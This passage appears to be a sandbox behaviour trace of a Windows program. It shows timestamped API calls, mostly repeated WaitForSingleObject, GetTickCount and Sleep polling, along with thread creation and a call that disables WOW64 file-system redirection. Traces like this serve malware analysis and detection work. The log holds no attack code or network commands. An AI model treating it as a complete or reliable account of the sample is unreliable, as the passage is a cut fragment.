WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0130.888] GetTickCount () returned 0x1131a93 [0130.888] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0131.155] GetTickCount () returned 0x1131bac [0131.155] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0131.473] GetTickCount () returned 0x1131ce4 [0131.473] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0131.653] GetTickCount () returned 0x1131d9f [0131.653] GetTickCount () returned 0x1131d9f [0131.653] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0131.978] GetTickCount () returned 0x1131ed7 [0131.978] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0132.128] GetTickCount () returned 0x1131f63 [0132.128] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0132.376] GetTickCount () returned 0x113205d [0132.376] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0132.484] GetTickCount () returned 0x11320ba [0132.484] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0132.639] GetTickCount () returned 0x1132156 [0132.639] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0132.787] GetTickCount () returned 0x11321e3 [0132.787] GetTickCount () returned 0x11321e3 [0132.787] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0132.974] GetTickCount () returned 0x113228f [0132.974] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0133.089] GetTickCount () returned 0x11322fc [0133.089] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0133.208] GetTickCount () returned 0x1132379 [0133.208] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0133.362] GetTickCount () returned 0x1132415 [0133.362] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0133.477] GetTickCount () returned 0x1132482 [0133.477] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0133.605] GetTickCount () returned 0x11324ef [0133.605] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0133.806] GetTickCount () returned 0x11325aa [0133.806] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0134.087] GetTickCount () returned 0x11326c3 [0134.087] GetTickCount () returned 0x11326c3 [0134.087] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0134.464] GetTickCount () returned 0x1132839 [0134.464] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0134.661] GetTickCount () returned 0x11328f5 [0134.661] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0135.064] GetTickCount () returned 0x1132a7b [0135.064] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0135.410] GetTickCount () returned 0x1132bd2 [0135.410] GetTickCount () returned 0x1132bd2 [0135.410] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0135.566] GetTickCount () returned 0x1132c5e [0135.566] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0135.812] GetTickCount () returned 0x1132d48 [0135.812] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0136.128] GetTickCount () returned 0x1132e80 [0136.128] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0136.286] GetTickCount () returned 0x1132f1c [0136.286] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0136.526] GetTickCount () returned 0x1132ff7 [0136.526] GetTickCount () returned 0x1132ff7 [0136.526] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0136.700] GetTickCount () returned 0x11330a2 [0136.700] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0136.978] GetTickCount () returned 0x11331ab [0136.978] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0137.302] GetTickCount () returned 0x11332e3 [0137.302] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0137.530] GetTickCount () returned 0x11333cd [0137.530] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0137.660] GetTickCount () returned 0x113344a [0137.660] GetTickCount () returned 0x113344a [0137.660] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0137.797] GetTickCount () returned 0x11334d7 [0137.797] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0137.940] GetTickCount () returned 0x1133563 [0137.940] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0138.234] GetTickCount () returned 0x113368b [0138.234] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0139.085] GetTickCount () returned 0x11339e5 [0139.085] GetTickCount () returned 0x11339e5 [0139.085] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0139.286] GetTickCount () returned 0x1133aa1 [0139.286] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0139.484] GetTickCount () returned 0x1133b6b [0139.484] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0139.839] GetTickCount () returned 0x1133cd2 [0139.839] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0140.099] GetTickCount () returned 0x1133ddb [0140.099] GetTickCount () returned 0x1133ddb [0140.099] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0140.248] GetTickCount () returned 0x1133e68 [0140.248] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0140.531] GetTickCount () returned 0x1133f81 [0140.531] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0140.713] GetTickCount () returned 0x113403c [0140.713] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0140.993] GetTickCount () returned 0x1134155 [0140.993] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0141.227] GetTickCount () returned 0x113423f [0141.227] GetTickCount () returned 0x113423f [0141.227] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0141.616] GetTickCount () returned 0x11343c5 [0141.616] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0141.814] GetTickCount () returned 0x1134480 [0141.814] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0142.133] GetTickCount () returned 0x11345c7 [0142.133] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0142.303] GetTickCount () returned 0x1134673 [0142.303] GetTickCount () returned 0x1134673 [0142.303] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0142.611] GetTickCount () returned 0x11347ab [0142.611] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0143.040] GetTickCount () returned 0x1134950 [0143.040] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0143.339] GetTickCount () returned 0x1134a79 [0143.339] GetTickCount () returned 0x1134a79 [0143.339] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0143.700] GetTickCount () returned 0x1134bdf [0143.700] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0143.821] GetTickCount () returned 0x1134c5c [0143.821] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0144.204] GetTickCount () returned 0x1134de2 [0144.204] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0144.542] GetTickCount () returned 0x1134f2a [0144.542] GetTickCount () returned 0x1134f2a [0144.542] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0144.762] GetTickCount () returned 0x1135004 [0144.762] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0145.047] GetTickCount () returned 0x113512d [0145.047] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0145.229] GetTickCount () returned 0x11351d8 [0145.229] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0145.612] GetTickCount () returned 0x113535e [0145.612] GetTickCount () returned 0x113535e [0145.613] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0145.780] GetTickCount () returned 0x113540a [0145.780] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0146.168] GetTickCount () returned 0x1135590 [0146.168] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0146.320] GetTickCount () returned 0x113561c [0146.320] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0146.789] GetTickCount () returned 0x11357f0 [0146.789] GetTickCount () returned 0x11357f0 [0146.789] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0147.179] GetTickCount () returned 0x1135976 [0147.179] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0147.282] GetTickCount () returned 0x11359e3 [0147.282] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0147.552] GetTickCount () returned 0x1135aed [0147.552] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0147.738] GetTickCount () returned 0x1135ba8 [0147.738] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0147.939] GetTickCount () returned 0x1135c73 [0147.939] GetTickCount () returned 0x1135c73 [0147.939] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0148.360] GetTickCount () returned 0x1135e18 [0148.360] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0148.576] GetTickCount () returned 0x1135ef2 [0148.576] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0148.839] GetTickCount () returned 0x1135ffb [0148.839] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0149.381] GetTickCount () returned 0x113621d [0149.381] GetTickCount () returned 0x113621d [0149.381] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0149.744] GetTickCount () returned 0x1136384 [0149.744] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0149.975] GetTickCount () returned 0x113646e [0149.975] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0150.216] GetTickCount () returned 0x1136558 [0150.216] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0150.473] GetTickCount () returned 0x1136661 [0150.473] GetTickCount () returned 0x1136661 [0150.473] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0150.846] GetTickCount () returned 0x11367c8 [0150.846] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0151.420] GetTickCount () returned 0x1136a09 [0151.420] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x0 [0151.461] GetTickCount () returned 0x1136a38 [0151.461] Sleep (dwMilliseconds=0x64) [0151.936] GetTickCount () returned 0x1136c0c [0151.936] GetTickCount () returned 0x1136c0c [0151.936] Sleep (dwMilliseconds=0x64) [0152.304] GetTickCount () returned 0x1136d83 [0152.304] Sleep (dwMilliseconds=0x64) [0152.482] GetTickCount () returned 0x1136e2e [0152.482] Sleep (dwMilliseconds=0x64) [0152.927] GetTickCount () returned 0x1136ff3 [0152.927] Sleep (dwMilliseconds=0x64) [0153.330] GetTickCount () returned 0x1137188 [0153.330] GetTickCount () returned 0x1137188 [0153.330] Sleep (dwMilliseconds=0x64) [0153.611] GetTickCount () returned 0x11372a1 [0153.611] Sleep (dwMilliseconds=0x64) [0154.119] GetTickCount () returned 0x1137494 [0154.119] Sleep (dwMilliseconds=0x64) [0154.471] GetTickCount () returned 0x11375fb [0154.471] GetTickCount () returned 0x11375fb [0154.471] Sleep (dwMilliseconds=0x64) [0154.926] GetTickCount () returned 0x11377cf [0154.950] Sleep (dwMilliseconds=0x64) [0155.333] GetTickCount () returned 0x1137955 [0155.333] Sleep (dwMilliseconds=0x64) [0155.980] GetTickCount () returned 0x1137be4 [0155.980] GetTickCount () returned 0x1137be4 [0155.980] Sleep (dwMilliseconds=0x64) [0156.516] GetTickCount () returned 0x1137df7 [0156.516] Sleep (dwMilliseconds=0x64) [0156.824] GetTickCount () returned 0x1137f2f [0156.824] Sleep (dwMilliseconds=0x64) [0157.476] GetTickCount () returned 0x11381ae [0157.476] GetTickCount () returned 0x11381ae [0157.476] Sleep (dwMilliseconds=0x64) [0157.831] GetTickCount () returned 0x1138315 [0157.831] Sleep (dwMilliseconds=0x64) [0158.116] GetTickCount () returned 0x113842e [0158.116] Sleep (dwMilliseconds=0x64) [0158.356] GetTickCount () returned 0x1138527 [0158.356] Sleep (dwMilliseconds=0x64) [0158.836] GetTickCount () returned 0x113870b [0158.836] GetTickCount () returned 0x113870b [0158.836] Sleep (dwMilliseconds=0x64) [0159.304] GetTickCount () returned 0x11388df [0159.304] Sleep (dwMilliseconds=0x64) [0159.507] GetTickCount () returned 0x11389aa [0159.507] Sleep (dwMilliseconds=0x64) [0159.842] GetTickCount () returned 0x1138af1 [0159.842] Sleep (dwMilliseconds=0x64) [0160.035] GetTickCount () returned 0x1138bbc [0160.035] GetTickCount () returned 0x1138bbc [0160.035] Sleep (dwMilliseconds=0x64) [0160.417] GetTickCount () returned 0x1138d33 [0160.418] Sleep (dwMilliseconds=0x64) [0160.637] GetTickCount () returned 0x1138e0d [0160.637] Sleep (dwMilliseconds=0x64) [0160.802] GetTickCount () returned 0x1138eb9 [0160.802] Sleep (dwMilliseconds=0x64) [0161.006] GetTickCount () returned 0x1138f83 [0161.006] Sleep (dwMilliseconds=0x64) [0161.336] GetTickCount () returned 0x11390cb [0161.336] GetTickCount () returned 0x11390cb [0161.336] Sleep (dwMilliseconds=0x64) [0161.845] GetTickCount () returned 0x11392ce [0161.845] Sleep (dwMilliseconds=0x64) [0162.037] GetTickCount () returned 0x1139389 [0162.037] Sleep (dwMilliseconds=0x64) [0162.169] GetTickCount () returned 0x1139406 [0162.169] Sleep (dwMilliseconds=0x64) [0162.401] GetTickCount () returned 0x11394f0 [0162.401] GetTickCount () returned 0x11394f0 [0162.401] Sleep (dwMilliseconds=0x64) [0162.661] GetTickCount () returned 0x11395f9 [0162.661] Sleep (dwMilliseconds=0x64) [0162.869] GetTickCount () returned 0x11396c4 [0162.869] Sleep (dwMilliseconds=0x64) [0163.676] GetTickCount () returned 0x11399ef [0163.676] GetTickCount () returned 0x11399ef [0163.676] Sleep (dwMilliseconds=0x64) [0163.943] GetTickCount () returned 0x1139af8 [0163.943] Sleep (dwMilliseconds=0x64) [0164.183] GetTickCount () returned 0x1139be2 [0164.183] Sleep (dwMilliseconds=0x64) [0164.335] GetTickCount () returned 0x1139c7e [0164.335] Sleep (dwMilliseconds=0x64) [0164.455] GetTickCount () returned 0x1139cfb [0164.455] Sleep (dwMilliseconds=0x64) [0164.578] GetTickCount () returned 0x1139d78 [0164.578] Sleep (dwMilliseconds=0x64) [0164.725] GetTickCount () returned 0x1139e04 [0164.725] GetTickCount () returned 0x1139e04 [0164.725] Sleep (dwMilliseconds=0x64) [0164.860] GetTickCount () returned 0x1139e91 [0164.860] Sleep (dwMilliseconds=0x64) [0164.978] GetTickCount () returned 0x1139efe [0164.978] Sleep (dwMilliseconds=0x64) [0165.122] GetTickCount () returned 0x1139f9a [0165.122] Sleep (dwMilliseconds=0x64) [0165.268] GetTickCount () returned 0x113a026 [0165.268] Sleep (dwMilliseconds=0x64) [0165.452] GetTickCount () returned 0x113a0e2 [0165.452] Sleep (dwMilliseconds=0x64) [0165.593] GetTickCount () returned 0x113a16e [0165.593] Sleep (dwMilliseconds=0x64) [0165.725] GetTickCount () returned 0x113a1eb [0165.725] Sleep (dwMilliseconds=0x64) [0165.871] GetTickCount () returned 0x113a277 [0165.871] GetTickCount () returned 0x113a277 [0165.871] Sleep (dwMilliseconds=0x64) [0166.031] GetTickCount () returned 0x113a313 [0166.031] Sleep (dwMilliseconds=0x64) [0166.194] GetTickCount () returned 0x113a3bf [0166.194] Sleep (dwMilliseconds=0x64) [0166.329] GetTickCount () returned 0x113a43c [0166.329] Sleep (dwMilliseconds=0x64) [0166.476] GetTickCount () returned 0x113a4c8 [0166.477] Sleep (dwMilliseconds=0x64) [0166.670] GetTickCount () returned 0x113a583 [0166.670] Sleep (dwMilliseconds=0x64) [0166.801] GetTickCount () returned 0x113a610 [0166.801] Sleep (dwMilliseconds=0x64) [0167.015] GetTickCount () returned 0x113a6ea [0167.015] GetTickCount () returned 0x113a6ea [0167.015] Sleep (dwMilliseconds=0x64) [0167.181] GetTickCount () returned 0x113a786 [0167.181] Sleep (dwMilliseconds=0x64) [0167.283] GetTickCount () returned 0x113a7f3 [0167.283] Sleep (dwMilliseconds=0x64) [0167.405] GetTickCount () returned 0x113a870 [0167.405] Sleep (dwMilliseconds=0x64) [0167.628] GetTickCount () returned 0x113a94a [0167.628] Sleep (dwMilliseconds=0x64) [0167.783] GetTickCount () returned 0x113a9e6 [0167.783] Sleep (dwMilliseconds=0x64) [0167.904] GetTickCount () returned 0x113aa63 [0167.904] Sleep (dwMilliseconds=0x64) [0168.077] GetTickCount () returned 0x113ab0f [0168.077] GetTickCount () returned 0x113ab0f [0168.077] Sleep (dwMilliseconds=0x64) [0168.267] WaitForMultipleObjects (nCount=0x4, lpHandles=0x248ff64*=0x134, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 49 os_tid = 0x55c [0126.110] GetTickCount () returned 0x1130992 [0126.110] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x24) returned 0x8d68b0 [0126.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x8d68b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138 [0126.359] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x8d68b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0126.364] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x8d68b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124 [0126.365] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x8d68b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c [0126.367] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8cffd8 [0126.367] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cffd8, Size=0x20) returned 0x8fdcc8 [0126.367] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8cffd8 [0126.367] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cffd8, Size=0x20) returned 0x8fdcf0 [0126.367] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0126.652] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0126.652] Wow64DisableWow64FsRedirection (in: OldValue=0x25cff84 | out: OldValue=0x25cff84*=0x0) returned 1 [0126.652] lstrlenW (lpString="kernel32.dll") returned 12 [0126.652] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fdcc8 | out: hHeap=0x880000) returned 1 [0126.652] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0126.652] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fdcf0 | out: hHeap=0x880000) returned 1 [0126.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x8fecb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x170 [0126.654] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0127.102] GetTickCount () returned 0x1130c8f [0127.102] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0127.364] GetTickCount () returned 0x1130d88 [0127.364] GetTickCount () returned 0x1130d88 [0127.364] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0127.584] GetTickCount () returned 0x1130e72 [0127.584] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0127.926] GetTickCount () returned 0x1130fca [0127.926] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0128.305] GetTickCount () returned 0x1131140 [0128.305] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0129.353] GetTickCount () returned 0x1131555 [0129.353] GetTickCount () returned 0x1131555 [0129.353] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0129.759] GetTickCount () returned 0x113165e [0129.759] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0129.931] GetTickCount () returned 0x113170a [0129.931] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0130.166] GetTickCount () returned 0x11317f4 [0130.166] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0130.534] GetTickCount () returned 0x113196a [0130.534] GetTickCount () returned 0x113196a [0130.534] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0130.888] GetTickCount () returned 0x1131a93 [0130.888] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0131.156] GetTickCount () returned 0x1131bac [0131.156] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0131.472] GetTickCount () returned 0x1131ce4 [0131.472] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0131.653] GetTickCount () returned 0x1131d9f [0131.653] GetTickCount () returned 0x1131d9f [0131.653] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0131.978] GetTickCount () returned 0x1131ed7 [0131.978] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0132.128] GetTickCount () returned 0x1131f63 [0132.128] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0132.376] GetTickCount () returned 0x113205d [0132.376] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0132.484] GetTickCount () returned 0x11320ba [0132.484] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0132.638] GetTickCount () returned 0x1132156 [0132.639] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0132.786] GetTickCount () returned 0x11321e3 [0132.786] GetTickCount () returned 0x11321e3 [0132.786] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0132.973] GetTickCount () returned 0x113228f [0132.973] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0133.088] GetTickCount () returned 0x11322fc [0133.088] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0133.207] GetTickCount () returned 0x1132379 [0133.207] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0133.361] GetTickCount () returned 0x1132415 [0133.361] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0133.476] GetTickCount () returned 0x1132482 [0133.476] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0133.605] GetTickCount () returned 0x11324ef [0133.605] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0133.805] GetTickCount () returned 0x11325aa [0133.805] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0134.087] GetTickCount () returned 0x11326c3 [0134.087] GetTickCount () returned 0x11326c3 [0134.087] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0134.464] GetTickCount () returned 0x1132839 [0134.464] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0134.661] GetTickCount () returned 0x11328f5 [0134.661] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0135.064] GetTickCount () returned 0x1132a7b [0135.064] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0135.410] GetTickCount () returned 0x1132bd2 [0135.410] GetTickCount () returned 0x1132bd2 [0135.410] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0135.566] GetTickCount () returned 0x1132c5e [0135.566] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0135.812] GetTickCount () returned 0x1132d48 [0135.812] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0136.128] GetTickCount () returned 0x1132e80 [0136.128] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0136.286] GetTickCount () returned 0x1132f1c [0136.286] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0136.526] GetTickCount () returned 0x1132ff7 [0136.526] GetTickCount () returned 0x1132ff7 [0136.526] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0136.700] GetTickCount () returned 0x11330a2 [0136.700] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0136.978] GetTickCount () returned 0x11331ab [0136.978] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0137.302] GetTickCount () returned 0x11332e3 [0137.302] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0137.530] GetTickCount () returned 0x11333cd [0137.531] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0137.661] GetTickCount () returned 0x113344a [0137.661] GetTickCount () returned 0x113344a [0137.661] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0137.798] GetTickCount () returned 0x11334d7 [0137.798] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0137.940] GetTickCount () returned 0x1133563 [0137.940] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0138.235] GetTickCount () returned 0x113368b [0138.235] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0139.085] GetTickCount () returned 0x11339e5 [0139.085] GetTickCount () returned 0x11339e5 [0139.085] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0139.286] GetTickCount () returned 0x1133aa1 [0139.286] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0139.484] GetTickCount () returned 0x1133b6b [0139.484] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0139.839] GetTickCount () returned 0x1133cd2 [0139.839] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0140.099] GetTickCount () returned 0x1133ddb [0140.099] GetTickCount () returned 0x1133ddb [0140.099] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0140.248] GetTickCount () returned 0x1133e68 [0140.248] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0140.532] GetTickCount () returned 0x1133f81 [0140.532] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0140.713] GetTickCount () returned 0x113403c [0140.713] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0140.993] GetTickCount () returned 0x1134155 [0140.993] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0141.227] GetTickCount () returned 0x113423f [0141.227] GetTickCount () returned 0x113423f [0141.227] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0141.617] GetTickCount () returned 0x11343c5 [0141.617] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0141.814] GetTickCount () returned 0x1134480 [0141.814] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0142.133] GetTickCount () returned 0x11345c7 [0142.133] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0142.303] GetTickCount () returned 0x1134673 [0142.303] GetTickCount () returned 0x1134673 [0142.303] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0142.611] GetTickCount () returned 0x11347ab [0142.611] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0143.040] GetTickCount () returned 0x1134950 [0143.040] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0143.339] GetTickCount () returned 0x1134a79 [0143.339] GetTickCount () returned 0x1134a79 [0143.339] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0143.700] GetTickCount () returned 0x1134bdf [0143.700] WaitForSingleObject 